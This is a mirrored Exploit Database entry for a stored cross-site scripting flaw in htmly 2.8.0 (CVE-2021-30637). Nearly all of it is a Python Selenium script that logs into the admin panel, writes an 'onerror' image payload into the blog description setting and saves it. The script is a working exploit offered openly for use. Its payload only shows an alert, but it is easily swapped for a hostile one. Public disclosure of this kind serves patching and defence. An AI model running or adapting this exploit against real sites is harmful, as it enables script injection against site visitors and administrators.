htmly 2.8.0 – ‘description’ Stored Cross-Site Scripting (XSS)

• Exploit Database
• 12 阅读

• 作者： nu11secur1ty
  日期： 2021-04-15
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49772/

• # Exploit Title: htmly 2.8.0 - 'description' Stored Cross-Site Scripting (XSS)
  # Authors: @nu11secur1ty & G.Dzhankushev
  # Date: 04.15.2021
  # Vendor Homepage: https://www.htmly.com/
  # Software Link: https://github.com/danpros/htmly
  # CVE: CVE-2021-30637
  
  #!/usr/bin/python3
  
  from selenium import webdriver
  from selenium.webdriver.common.by import By
  from selenium.webdriver.support.ui import WebDriverWait
  from selenium.webdriver.support import expected_conditions as EC
  import time
  
  
  #enter the link to the website you want to automate login.
  website_link="http://localhost/htmly/login"
  
  #enter your login username
  username="nu11secur1ty"
  
  #enter your login password
  password="password"
  
  #enter the element for username input field
  element_for_username="user"
  #enter the element for password input field
  element_for_password="password"
  #enter the element for submit button
  element_for_submit="submit"
  
  
  #browser = webdriver.Safari()	#for macOS users[for others use chrome vis chromedriver]
  browser = webdriver.Chrome()	#uncomment this line,for chrome users
  #browser = webdriver.Firefox()	#uncomment this line,for chrome users
  
  browser.get((website_link))	
  
  try:
  	username_element = browser.find_element_by_name(element_for_username)
  	username_element.send_keys(username)		
  	password_element= browser.find_element_by_name(element_for_password)
  	password_element.send_keys(password)
  	signInButton = browser.find_element_by_name(element_for_submit)
  	signInButton.click()
  	
  	# Exploit .ini
  	browser.get(("http://localhost/htmly/admin/config"))	
  	browser.execute_script("document.querySelector('[name=\"-config-blog.description\"]').innerText = '</span><img src=1 onerror=alert(1) /><span>'") 
  	time.sleep(3)
  	browser.execute_script("document.querySelector('.btn.btn-primary').click()")
  
  	print("payload is deployed...\n")
  	
  except Exception:
  	#### This exception occurs if the element are not found in the webpage.
  	print("Some error occured :(")